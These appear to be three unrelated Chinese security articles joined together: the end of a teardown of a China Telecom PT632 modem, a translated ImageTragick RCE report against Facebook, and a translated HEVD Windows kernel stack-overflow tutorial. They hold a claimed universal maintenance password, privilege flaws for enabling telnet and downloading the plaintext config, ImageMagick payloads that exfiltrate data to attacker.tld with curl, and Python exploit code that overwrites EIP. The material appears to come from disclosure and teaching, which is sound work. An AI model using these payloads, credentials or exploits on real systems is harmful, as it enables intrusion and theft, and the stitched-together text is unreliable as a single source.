## 0x02：Tiny Core Linux
Tiny Core Linux（后统称tcLinux）是有Lauri
Kasanen等人发起的一个Linux发行版项目。tcLinux的特点是小，确切的说是极致的精致（Mini），因此官方不推荐安装运行这种典型的Linux运行方式，而是希望使用者每次都从外部存储设备中Load系统到RAM里面（就是所谓的这种Live
CD模式），再适合嵌入式设备不过了。当系统启动（Load到RAM之后）后，再加载（mount或者copy）应用程序。之所以选用这种模式的原因，官方给出的解释是：
——快啊
——防止不必要的文件系统修改
——确保系统每次Boot的时候，都是一个原汁原味的、无比纯粹的系统
因此，tcLinux的宗旨就是：方便，快速，易于更新且稳定可靠！
tcLinux有一套自己的Package管理工具，包括基于GUI的和基于CLI的，这里就不细说了。通过tcLinux提供的tce-ab工具，我们可以查询到该平台source里提供的两款httpd工具：
考虑到PT632猫的系统环境，自己测试了一下在tcLinux上搭建基于busybox-httpd的Web服务器。整个搭建工作非常简单，大概有以下几个步骤：
1)通过简单的CLI交互查找package，选中并查看package信息，然后安装package即可。
`$tce-ab #不允许root权限运行tce-ab，赞`
2)创建所需的web根目录
其中/home/tc/是默认账户tc的家目录，web根目录wwwroot就配置到tc家目录下。由于busybox-httpd不会自动搜索index文件，因此需要自己动手写一个。Cgi-bin里面是busybox的cgi程序，hello.sh是一个测试脚本。一切很完美，支持简单的页面，也支持cgi脚本。这个特性是我很关系的，因为PT632下面也有很多的cgi脚本。
通过tce-ab查询到的busybox-httpd包里面，有服务器启动的信息，很简单就能上手。
另外，有一个很有意思的地方：通过tce-ab安装的这些程序都是存放在tmp目录下的，然后链接到/usr/local目录下。或许，这是因为tcLinux强调在RAM运行的原因，很多东西下载之后都放在tmp下面。但是，预装的dbus为什么也放在/tmp目录下呢？PT632是否也是如此呢？细想，挺有意思的。。。
## 0x03：busybox
对于很多人而言，busybox应该不是一个陌生的概念，尤其是喜欢在手机上安装Linux模拟器的童鞋。大家熟知的Kali
Nethunter，还是我们team最喜欢的Andrax，都用了busybox。但是，很多人对它却不甚了解，甚至以为这就是一个Linux的超级迷你的发行版。额，当然不是这样了，所以这里顺势来一个冬日IoT大补丸吧。
Busybox是一个常用的Linux命令“工具包”，整合了很多常用的Linux命令，而且非常适合于嵌入式环境。或许，很多人认为这个东西的存在违背常理，既然是Linux命令，那么整合在一块儿就会变小吗？难不成就跟那酒精兑水一样吗？100毫升纯净水加入100毫升酒精，其体积小于200毫升！当然，不是这个逻辑，主要是Denys
Vlasenko将这些常用命令做了简化处理，主要是剔除了各种常用命令中极少使用到的options，那么当然体积就直接呈几何量级的减小。然而，这样的精简并不会影响绝大多数的正常使用，或许这也是“二八原理”在软件维护和系统运维领域的一个典型案例吧。
上面这张图是busybox所整合的全部命令，当然还有一些其它的外部工具可以使用，比如OpenWrt中采用的符合OpenSSH
2.0规范的Dropbear服务器等等。而下面这张图呢，则是PT632中的busybox所提供的全部命令，可以说贫瘠得一毛不拔，连alias，find和grep这样几乎是生活必需品一样的Linux命令都给阉割掉了。虽然友华的工程师这种做法极其过分，但是在一定程度上确实会让hacker没了兴致。
在查找PT632系统中的系统命令和安装程序时，很意外的得到了master家光猫的电信账户和密码，本以为需要解密配置文件或者分析rom文件才能搞到的，没想到来得这么以外，一条ps
-ef命令就拿到手了。。。
## 0x04：tcapi
Tcapi是PT632光猫上的一个专门用于操作配置信息“数据库”的helper程序。从功能上来说，tcapi非常类似于在前一篇文章“OpenWrt之入门”中提到的uci。不过，这个tcapi只能处理PT632自身的配置信息，并不能修改其它程序的配置文件。我在tcLinux的发行版中尝试寻找这个程序，结果证明了我的观点：tcapi应该是友华工程师自己开发的，而不是tcLinux自带的。
那么，tcapi到底操作的那个文件呢？在读/boaroot中的CGI脚本时找到了答案——/tmp/var/romfile.cfg。这个文件存储了PT632中的绝大多数信息，包括各种服务的配置，账号信息等等。
从这个xml格式的文件中可以看出，系统中的各种配置都被“逐节”的保存到这个配置文件中了。有了tcapi这个程序，通过几次简单的查询操作之后，我们就能掌握如何使用它来修改PT632的各种配置信息。
Tcapi的命令语法非常简单，仅有9个命令选项，操作的内容就是配置文件中的各个节点和属性值。
在分析romfile.cfg文件之后，我们就很清楚可以通过tcapi获取PT632设备的各种账户信息，但是不包括用户的电信账号和密码。
Tcapi在代码实现的时候有些诡异，在解析这种XML文档时，通常情况下coder们都会选择用“.”来作为节点之间的连接符号，比如Accout节点下的FtpEntry节点，我们会描述为“Account.FtpEntry”。一开始尝通过tcapi设置Ftp服务器属性的时候，一直没有成功，后来翻看/boaroot/cgi/telnet.asp脚本时，发现设置PT632参数的正确打开方式是：
是的，你没看错，这个tcapi就是这么奇葩。一方面，可以不给出上级节点就能直接查到末端节点信息；另一方面，不通过下划线“_”作为连接符号，你没办法设置末端节点的属性值。
当然，要开启Ftp服务器的话，还需要通过tcapi提交修改请求，即执行一下代码:
`#tcapi commit Account_FtpEntry`
## 0x05：boa http server
Boa是一个针对嵌入式应用环境的Web服务器，文件大小可以妥妥的控制在30KB左右，当然PT632上查看到的代码大小呢，比这个还要小。。。
由于boa的官方网站已经down了，所以从网上查找到的一些残存资料来看，boa是可以做到免配置文件的。当然，PT632还是给boa写了一个配置文件，在/boaroot/boa.conf
/boaroot/boa.conf只是在boa http server配置文件模板的基础上做了适当修改，比如起一个适合的主机名等等
## 0x06：一些小小的tricks
### 1、关于电信各种猫的维护账号的问题
在拿到PT632之后，自己尝试了很多办法去获得telecomadmin账号的密码，最终都失败了。失败不要紧，关键是发现全国各地，确切地说是各个省直辖市貌似都会自己的维护账号（telecomadmin）和密码。那么，这就存在一个问题了。这个维护密码是通过固件直接写到猫里去的呢？还是设备接入电信网络之后通过TR069协议获取到的呢？
为了解答这个问题，我做了一个实验，也就是把这只PT632“老猫”重置了，然后下载恢复之后的romfile.cfg文件。以下是重置前和重置之后的romfile.cfg文件对比：
很显然，网上所说的电信光猫通用密码“nE7jA%5m”的确是真的，但是这个密码已经可以通过类似TR069或者CPE协议，在设备首次注册的时候就修改了这个密码。当然，电信师傅应该是可以通过他们的终端设备查找到某一台设备的维护账户密码。
### 2、关于如何启动telnet
从网上找了不少关于电信光猫的资料，没有找到适合PT632的。很多文章给出的方法是通过telecomadmin账户登录后台之后，可以通过Web
GUI开启telnet服务。我试过了，不行，即便找到了telecomadmin也不行，Web GUI上没有提供开启telnet服务的接口。
后来，成功登录telecomadmin账户后，尝试着直接访问cgi-bin/telnet.asp，切换到了telnet启动页面。
### 3、关于如何获取telecomadmin，telnet，ftp等账户及密码
前些年，包括电信在内的很多运营商的确存在管理维护账户使用统一密码的情况，因此我也很自觉地尝试寻找这些所谓的密码，但失败了。后来，浏览到一篇文章，其中提到在普通用户登录的情况下，直接访问cgi-bin目录下的upgrade.asp页面，可以下载PT632的配置文件，结果真就OK了。文件就是之前提到的/tmp/var/romfile.cfg，并且是明文的。
### 4、关于文件的下载和上传
PT632的USB接口并没有发挥实际的作用，说白了也就是个摆设，因此没办法通过USB备份来获取系统中的各种文件。但是，这些代码和配置文件不拿到手显然是无法愉快的研究，于是就打起了cig-bin/upgrade.asp的注意。很显然，这个所谓的bakup配置文件的功能仅仅提供了下载，并没有加密，所以研究所需的文件都可以打包并保存为/tmp/var/romfile.cfg，这样就可以搞定了。
再者，还可以开启ftp服务。ftp服务器貌似也是被友华的工程师给修改过的，配置文件没法配置ftp根目录。找了半天才找到ftp的root目录在/var/tmp/mnt/dev目录下，奇葩吧。当然，至少ftp服务还是可以启动的，还能用就已经谢天谢地了。
### 5、关于SSH和Tftp服务
友华的工程师应该是把SSH和Tftp服务器给直接禁用了，虽然配置文件里面依然有相应的配置信息字段。为什么有这个猜测呢？一方面，通过tcapi无法启动SSH和Tftp服务；另一方面，在cgi-bin目录下并没有发现可以远程开启SSH和Tftp的页面。
## 0x07：总结
### 1、功能性
从功能性来说，PT632毫无疑问能满足普通家庭最基本的光纤上网需求，虽然自带一个“阑尾”式的USB接口，虽然只支持2.4GHz单频，虽然不能打开SSH。但是，这猫不就用来连接互联网吗？而且，据master说，这猫特别稳定，几乎没有任何故障（不包括从来没被他老人家使用过的2.4GHz无线路由功能）。
再者，由于这款猫真的太老了，当前很多贫价路由都有的基本功能，这货都没有。不过，情有可原，毕竟一把年纪了。
### 2、易用性
这个我没什么发言权。不过，这猫都是电信师傅上门安装的，安装好之后，除非是移机啥的，貌似没什么易用性可言啊！PS：这一节是team
member让我写上的。。。
### 3、安全性
从系统层面来说，PT632还真算不错了，由于没有采用OpenWrt这类灵活的Linux架构，很多分区都是read-only的，因此对于像我这样的小白，hacking这样一台设备的确是有难度的。再者，从busybox的阉割程度来看，友华的工程师是真的用心做了功课的。尽可能剔除无用的api，势必限制了操作系统的可用性，当然会提高黑客攻击的难度。
从应用程序的角度来看，Web界面的权限管理是有问题的，比如通过useradmin（普通用户）权限，就可以直接开启telnet服务。再就是，下载的配置文件居然没有加密，这个着实不应该。当然，还有其它一堆问题，就不在这里拉家常了，毕竟这款猫都已经被友华给淘汰了。。。
## 0x08：参考
1、 友华通信技术有限公司. <http://www.youhuatech.cn/about.aspx>
2、 Tiye Core Linux Book. <http://www.tinycorelinux.net/book.html> | 社区文章 |
本稿件为翻译稿，原文见：https://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html
我相信大家应该都知道[ImageMagick](https://www.imagemagick.org/)与它的攻击手法[Tragick](https://imagetragick.com/)。由于计算机应用中有许多进城插件依赖于ImageMagick库，所以本次漏洞的爆出带来了巨大的影响。然而本次漏洞不仅仅可以被其发现者、研究者所利用，而且其他漏洞爱好者也可以进行相应的攻击。在2016年这个攻击的具体细节（并没有POC）被发现。许多研究者在此漏洞并没有及时更新的时候发现此漏洞十分容易去利用。但是由于一些不可知的原因，我并不是他们中的一员。
我在十月份的某个周六对这一个大型服务进行了一些测试（不是Facebook），而且一些重定向却指向了Facebook。下面是《Share on
Facebook》访问页面。
https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H
如果我们仔细的观察这个图片的url参数，你们应该能看出来一些端倪。上述页面中并没有图片的url值，我们可以看下图：
`https://www.google.com/images/errors/robot.png`
因为
https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb
首先，我认为这里存在ssrf问题，但是我的测试结果心事这个url的参数请求来自`31.13.97.*`网络，通过`facebookexternalhit/1.1.`的例子：
nc -lvvv 8088
Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted
GET /exploit.png?ddfadsvdbv HTTP/1.1
User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Accept: */*
Accept-Encoding: deflate, gzip
Host: attacker.tld
Connection: keep-alive
它看起来像是来自独立服务器的一个合理请求，但是在某种情况下，电脑应用使用转换器来转换图片，并且我开始更深一层的发掘。在一些参数测试后（这些测试都是我喜欢使用的并给我带来过收益的-例如通过设计做出的一种XML的解析SVG。并以此发现了ssrf问题，而此ssrf问题不像发送图片请求的服务器那样。如果我足够幸运，那么我会发现XXE问题的存在）。但是我不够幸运，没有发现攻击行为。所以ImageTragick是我最后的曙光。虽然我对此不抱有希望。如果你对这个问题有些不熟悉的话，请查看下面的Poc地址。
下面图片是简单的payload。
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`'
pop graphic-context
Emmmmm，什么都没发生。
$ nc -lvvv 80
“如果这里有防火墙限制的话怎么办？”我问自己。
OK！上述情况经常会在公司发送大量请求的时候产生（没有经过DNS）。
让我们试一下下面的代码：
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`'
pop graphic-context
结果如下：
IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A
使用whois查询得到如下结果：
netname: LLA1-11
descr: Facebook
让我们开始我们的工作：
所以，应用工作流如下：
* 我们得到了图片的参数并且请求它 - 这个请求是正确并且没有受到威胁。
* 已经收到的图片被传递给转换器事例，而此转换器使用了这个易受攻击的ImageMagick库。
事实上，我尝试去找一个通用的方法去寻找这个http请求，但是我的简短的测试显示所有的无用端口均关闭，这也使我花费了更多的时间去找隐藏的开发端口。我也使用了更高效的方法去寻找Poc。
Payload如下：
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
pop graphic-context
结果如下：
NAME: home.attacker.tld, Type: A
NAME: boot.attacker.tld, Type: 28
NAME: dev.attacker.tld, Type: 28
NAME: bin.attacker.tld, Type: A
…
用户id的shell指令返回：
NAME: uid=99(nobody).attacker.tld., Type: 28
NAME: groups=99(nobody).attacker.tld., Type: A
NAME: gid=99(nobody).attacker.tld., Type: A
为了充分证明漏洞可利用，我向Facebook安全团队提供了“cat / proc / version”输出的结果，这里没有公布。
根据Facebook的“责任披露政策”，我没有采取进一步的攻击。
在初步报告完成之后，我们已经与Facebook安全团队的Neal讨论了`cat / proc / version |
base64`深层利用方法，一些更深入的研究表明`base32`更常用于各种技术，包括DNS（参见<https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152）。>
我很开心上述的攻击对Facebook奏效了。 | 社区文章 |
> 文章翻译自：<https://h0mbre.github.io/HEVD-StackOverflow/>
## 介绍
继续我们的Windows漏洞利用之旅，开始学习HEVD中内核驱动程序相关的漏洞，并编写有关ring
0的利用程序。正如我在[OSCP](https://h0mbre.github.io/OSCP/)中所做的准备，我主要是在博客中记录自己的进步，以此来加强认知和保留详细的笔记，以供日后参考。
本系列文章是我尝试遍历[Hacksys
Extreme漏洞驱动程序](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)中所有漏洞方法的记录。
**我将使用HEVD 2.0。** ，对我们这些刚入门的人来说，像这样的训练工具是非常神奇的。 那里还有很多不错的博客文章，介绍了各种HEVD漏洞。
我建议您全部阅读！ 在尝试完成这些攻击时，我大量引用了它们。 在此博客中，我所做的或说的，几乎没有什么是新的内容或我自己的想法/思路/技术。
### **本系列文章不再着重介绍以下信息，例如：**
> * 驱动程序如何工作，以及用户空间，内核和驱动程序之间的不同类型，如何通信等等
>
> * 如何安装HEVD
>
> * 如何搭建实验环境
>
> * shellcode分析
>
>
原因很简单，其他博客文章在详细说明此信息方面，做得比我更好。 那里有很多出色的帖子，相比之下我写这个博客系列就很肤浅了。
但并不意味着我的博客写得很差，因为我的博客比那些文章更容易理解。那些博客的作者比我有更多的经验和更渊博的知识，他们文章解释的就很好。:)
这篇文章/系列文章将重点放在我尝试制作实际漏洞的经验上。
我使用以下博客作为参考：
> * [@r0otki7的内核驱动程序安装和实验环境搭建](https://rootkits.xyz/blog/2017/06/kernel-> setting-up/),
>
> * [@r0otki7的Win7 x86 HEVD 栈溢出](https://rootkits.xyz/blog/2017/08/kernel-> stack-overflow/),
>
> * [@33y0re的Win7 x86 HEVD
> 栈溢出](https://connormcgarr.github.io/Part-1-Kernel-Exploitation/),
>
> * [@_xpn_的Win10 x64 HEVD 栈溢出](https://blog.xpnsec.com/hevd-stack-> overflow/),
>
> * @sizzop的基于HEVD 栈溢出的[bug](https://sizzop.github.io/2016/07/06/kernel-> hacking-with-hevd-part-2.html),
> [shellcode](https://sizzop.github.io/2016/07/07/kernel-hacking-with-hevd-> part-3.html), 和 [exploit](https://sizzop.github.io/2016/07/08/kernel-> hacking-with-hevd-part-4.html),
>
> * [@ctf_blahcat的Win8.1 x64 HEVD
> 栈溢出](https://blahcat.github.io/2017/08/18/first-exploit-in-windows-kernel-> hevd/),
>
> *
> [@abatchy17’的x86和x64环境下利用Token窃取Shellcode](https://www.abatchy.com/2018/01/kernel-> exploitation-2),
>
> *
> [@hasherezade的HEVD博客文章](https://hshrzd.wordpress.com/2017/06/05/starting-> with-windows-kernel-exploitation-part-2/).
>
>
非常感谢这些博客作者，没有您的帮助，我无法完成前两个漏洞。
## 目标
* * *
我们的目标是在Win7 x86和Win7 x86-64上完成针对HEVD栈溢出漏洞的攻击。
我们将紧跟上述博客文章，但会尝试一些稍有不同的方法，使这个过程变得更加有趣并确保我们能实际学习到知识。。
在挑战这个目标之前，我从未使用过64位的架构。我认为最好先从老式的堆栈溢出漏洞开始学习，因此有关x64的漏洞利用，我们将在本系列文章的第二部分完成。
## Windows 7 x86漏洞利用
* * *
### 开始
HEVD有一个[kernel-mode](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/types-of-windows-drivers)
驱动程序的例子，以kernel/ring-0权限运行程序，利用此类服务可能会使权限低的用户将权限提升到`nt authority/system`权限。
开始之前，您需要先阅读一些[MSDN的文档](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/),特别是I/O部分，里面详细介绍了内核模式驱动程序的架构。
Windows的API [DeviceIoControl](https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-)允许用户空间区的应用程序直接与设备驱动程序进行通信，它的参数之一是`IOCTL`，这有点类似于系统调用，对应驱动程序上的某些编程函数和例程。
例如，如果您从用户空间向其发送代码`1`，则设备驱动程序将会有对应的逻辑来解析`IOCTL`，然后执行相应的函数。
如果要与驱动程序进行交互，就需要使用`DeviceIoControl`。
### 设备IO控制
让我们继续看一下MSDN上的`DeviceIoControl`API定义：
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
可以看到，`hDevice`是驱动程序的句柄，需要使用单独的API调用`CreateFile`来打开驱动程序的句柄。让我们看一下其定义：
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
通常，与这些API交互时，需要使用C或C ++编写应用程序；
但是，我们可以直接使用python的`ctypes`库，该库提供和C语言兼容的数据类型，可以直接调用动态链接库中的导出函数。虽然有多种方法满足`CreateFileA`的参数需要，但是我们这里使用十六进制代码。
（还用我正在使用Python2.7，因为我讨厌在代码开发过程中弄混Python3中新的str和byte数据类型。此外，如果代码要将其移植到Python3，需要注意这些Windows
API需要某些字符串编码格式。如果没考虑到Python3中将字符串视为Unicode，则`CreateFileA`会失败。
我将解释一些我认为需要阐明的参数，然后其余部分留给读者去研究。不要只是学习表面上的知识，而要真正理解它们的含义。
我仅仅通过在Windows上进行了一些入门级的shell编码就熟悉了其中的一些API，但与专家还相距甚远。我发现通过跟踪调用API的示例并查看它们的代码是最有用的。
我们需要的第一个值是`lpFileName`, 访问HEVD源代码找到它。但是，我认为最好将源代码当作一个黑匣子来处理。 我们将在IDA Free
7.0中打开`.sys`文件，并查看是否可以对其进行跟踪。
在IDA中打开文件后，将会直接跳转到`DriverEntry`函数。
可以看到，在第一个函数中有一个字符串，含有`lpFileName`, `\\ Device \\
HackSysExtremeVulnerableDriver`。
在我们的Python代码中，它将会被格式为`"\\\\.\\HackSysExtremeVulnerableDriver"`。
你可以在google上找到更多关于这个值的信息，以及如何格式化它。
接下来是`dwDesiredAccess`参数。在Rootkit's [blog](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format?redirectedfrom=MSDN)我们看到他使用了`0xC0000000`值。这可以通过检查访问掩码格式文档并查找相应的潜在值来解释.
我们要使最高有效位（最左边）设置为`C`或十进制`12`。
我们可以看看[winnt.h](https://github.com/Alexpux/mingw-w64/blob/master/mingw-w64-tools/widl/include/winnt.h)来确定此常数的含义。我们在这里看到`GENERIC_READ`和`GENERIC_WRITE`分别是`0x80000000`和`0x40000000`。
`0xC0000000`就是将这两个值加在一起。这样看起来就很直观！
我想你能算出其他的参数。此时，我们的`CreateFileA`和利用代码是这样的:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
kernel32 = windll.kernel32
def create_file():
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
return hevd
如果成功，CreateFileA将返回一个句柄给我们的设备，如果失败，CreateFileA将给我们一个错误代码。现在，我们有了句柄，可以完成`DeviceIoControl`的调用。
### IOCTLs
在句柄(hevd)之后, 紧接着就是我们需要的`dwIoControlCode`。IDA中显式注释的IOCTL以十进制表示。[RE Stack
Exchange](https://reverseengineering.stackexchange.com/questions/15283/ioctl-code-for-windows-driver)这篇文章详细介绍了其中细微的区别。
这里有一个在[MSDN](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/d4drvif/nf-d4drvif-ctl_code)上非常有名的宏`CTL_CODE`，驱动程序开发人员可以使用它来生成完整的IOCTL代码。我已经放了一个小脚本，逆向这个过程，从完整的`IOCTL`代码中获取`CTL_CODE`参数,
在[这里](https://github.com/h0mbre/ioctl.py)可以找到。使用来自RE Stack
Exchange的示例，我们可以在这里演示它的输出：
root@kali:~# ./ioctl.py 0x2222CE
[*] Device Type: FILE_DEVICE_UNKNOWN
[*] Function Code: 0x8b3
[*] Access Check: FILE_ANY_ACCESS
[*] I/O Method: METHOD_OUT_DIRECT
[*] CTL_CODE(FILE_DEVICE_UNKNOWN, 0x8b3, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)
我们现在需要找到在HEVD中存在的`IOCTL`。我们将再一次使用IDA。
在functions选项中，有一个`IrpDeviceIoCtlHandler`函数，需要解开该函数才能确定哪些IOCTL与哪个函数相对应。
在IDA中打开该函数并向里跟踪，直到找到所需的函数为止，如下所示：
从这里开始，我所做的只是向后追溯路径，直到找到足够的信息以查看需要发送哪些IOCTL才能到达该位置。向后退一级，我们到达这里：
可以看到其中一个寄存器EAX减去了`0x222003` ，如果结果为零，则跳到我们想要的函数。由此可以基本看出，如果发送IOCTL
`0x222003`，我们将最终获得所需的函数。但那太容易了,
让我们回到`IrpDeviceIoCtlHandler`入口，看看是否可以确定有关`IOCTL`解析逻辑的更多信息，并从逻辑上检查我们的工作，甚至不需要与驱动程序进行交互。
在某些时候，我们的IOCTL被加载到`ECX`中，然后与`0x222027`进行比较。 如果`ECX`的值更大，则采用绿色分支（即`JA ==
jump`）, 如果输入的值较小，则采用红色分支。 我们假定IOCTL的值更小，因此我们以红色表示，并在此处结束：
上面这个方框所做的就是，如果我们刚才比较`ECX`和`0x222027`的值是相等的时候，我们将采用绿色。但是，我并不会让它们相等，所以我们再次进入红色分支：
这个比较棘手, 我们知道`EAX`的值`0x222027`，加上`0xFFFFFFEC`即可获得`0x100222013`。
不过，这将是一个额外的字节（9个字节），我们的寄存器将会忽略`0x100222013`的首位`1`。因此我们在EAX中使用`0x222013`，然后将存储在ECX中的`0x222003`与该值进行比较，会使我们再次进入红色分支，因为我们不会超过`EAX`中的新值`0x222013`。所以，接下来的两个方框是：
之前的比较不会以设置`ZERO FLAG`结束，因此从第一个方框中我们将红色移到图片中的第二个方框，瞧！ 我们回到想要的功能上方的方框中。
我们能够从逻辑上跟踪被解析的IOCTL的流程，而无需启动驱动程序。 这样的逆向过程，对于像我这样的菜鸟来说真是太棒了。
现在我们知道了，我们的IOCTL的值是`0x222003`。
剩下的参数可以参考[ootkit blog](https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/), 填充大量的“A”字符，下面是我们的漏洞利用代码：
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
def create_file():
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
return hevd
def send_buf(hevd):
buf = "A" * 3000
buf_length = len(buf)
print("[*] Sending payload to driver...")
result = kernel32.DeviceIoControl(
hevd,
0x222003,
buf,
buf_length,
None,
0,
byref(c_ulong()),
None
)
hevd = create_file()
send_buf(hevd)
## Crash
**通过上述实验步骤了解了内核调试的逻辑**
接着我们需要在受害者机器上运行此程序，同时在其他Win7主机（调试器）上对其进行内核调试。
一旦与调试器上的受害者建立了连接，就可以在WinDBG中运行以下命令：
> * sympath \ + <HEVD.pdb文件的路径> <-将HEVD的符号添加到我们的符号路径中
>
> * .reload <-从路径重新加载符号
>
> * ed Kd_DEFAULT_Mask 8 <-启用内核调试
>
> * bp HEVD!TriggerStackOverflow <— 在所需的函数上设置断点
>
>
在调试器上，按`Ctrl` \+ `Break`进行暂停，然后在交互式提示符“kd>”中输入这些命令。
输入这些命令并加载符号和路径（可能需要一段时间）后，使用`g`恢复执行。因为我们是正确的使用IOCTL，所以我们运行代码将会到达断点。
可以看到，程序运行到了断点对应函数，IOCTL是正确的。我们可以使用p一步一步地进入这个函数，一次一条指令。按一次p键，然后可以使用`enter`作为快捷方式，因为它将重复您的上一个命令。
我们也可以转到View，然后选择跟随`EIP`的反汇编，并实时向您显示汇编指令和寄存器。 在某个时候，我们的机器会crash。
我们可以看到，当机器崩溃时，我们正在执行RET 8，它将从堆栈中弹出一个值到EIP，然后将我们返回到EIP中的地址。
在这个情况下，该地址是0x41414141，该地址未映射，导致我们进入了死亡蓝屏！ 我们知道，一旦有了EIP，我们就有大量的能力来重定向执行流程。
您可以在Kali上的`/usr/bin`中使用`msf-pattern_create`程序来创建3000字节的模式并找到偏移量。
## Exploit
`Pattern`创建的字符可以让我们知道填充无用字符到`EIP`的偏移量是`2080`。接下来的4个字节应该是指向我们的shellcode的指针。
为了在内存中创建缓冲区并将其填充到我们的shellcode中，我们将使用一些`ctypes`函数。
我们需要创建一个字符数组，并用我们的shellcode填充它，这一部分感谢Rootkit的博客。我们将字符数组命名为`usermode_addr`，因为它最终会通知一个指向用户空间的shellcode的指针。
现在，我们的驱动程序正在内核空间中执行，但是我们将在用户空间中创建一个缓冲区，并用我们的shellcode填充它，程序将重定向到该缓冲区，执行完后返回到内核空间，就好像什么都没发生一样。
我们创建缓冲区的代码是：
shellcode = bytearray(
"\x90" * 100
)
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
我敢肯定，这等效于C语言中的以下内容：
char usermode_addr[100] = { 0x90, 0x90, ... };
`（c_char * len（shellcode））`意思是说：给我一个`c_char`数组，输入`shellcode`的长度。
`.from_buffer（shellcode）`意思说：用`shellcode`值填充该数组。
我们还必须得到一个指向这个字符数组的指针，这样我们就可以把它放在EIP的位置上。为此，我们可以创建一个名为`ptr`的变量，使其等于`addressof(usermode_addr)`。把这个加到我们的代码中：
ptr = addressof(usermode_addr)
我们应该能够把这个`ptr`放在我们的利用代码中，并且将执行重定向走到它。但是，我们仍然需要通过读写权限标记该内存区域，否则`DEP`会破它。我们会使用API
`VirtualProtect`（在[这里](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)了解详情）。
如果您想了解有关如何使用此API的更多信息，请阅读我在ROP上的帖子。
我们这部分的代码是：
result = kernel32.VirtualProtect(
usermode_addr,
c_int(len(shellcode)),
c_int(0x40),
byref(c_ulong())
)
`c_int`和`c_ulong`是用于声明这些C数据类型变量的`ctype`函数。`byref()`将返回一个指针（与`byval（）`中的值一样）指向作为其参数的变量。如果该API的返回值不为零，则可以正常工作。
最后，我们将使用`struct.pack("<L",ptr)`适当格式化指针，以便可以将其与我们的shellcode字节数组连接。至此，我们完整的代码如下所示：
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
def create_file():
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
return hevd
def send_buf(hevd):
shellcode = bytearray(
"\x90" * 100
)
print("[*] Allocating shellcode character array...")
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
ptr = addressof(usermode_addr)
print("[*] Marking shellcode RWX...")
result = kernel32.VirtualProtect(
usermode_addr,
c_int(len(shellcode)),
c_int(0x40),
byref(c_ulong())
)
if result != 0:
print("[*] Successfully marked shellcode RWX.")
else:
print("[!] Failed to mark shellcode RWX.")
sys.exit(1)
payload = struct.pack("<L",ptr)
buf = "A" * 2080 + payload
buf_length = len(buf)
print("[*] Sending payload to driver...")
result = kernel32.DeviceIoControl(
hevd,
0x222003,
buf,
buf_length,
None,
0,
byref(c_ulong()),
None
)
hevd = create_file()
send_buf(hevd)
由于我们的shellcode只是`NOPs`，而且我们并没有做任何事情来让程序正常执行，因此我们肯定会蓝屏并导致内核崩溃。不过，为了确认我们正在shellcode，让我们继续发送它，我们应该看到`NOP`刚好超过用户空间区分配的缓冲区的末尾。
这些就是NOPs。
现在该处理这次内核崩溃了，当步入`TriggerStackOverflow`函数时，在WinDBG中打印出调试消息显示，复制到内存中的驱动程序幻阵区只有`0x800`字节。我们很可能破坏了一些没有注意到的内存区域。
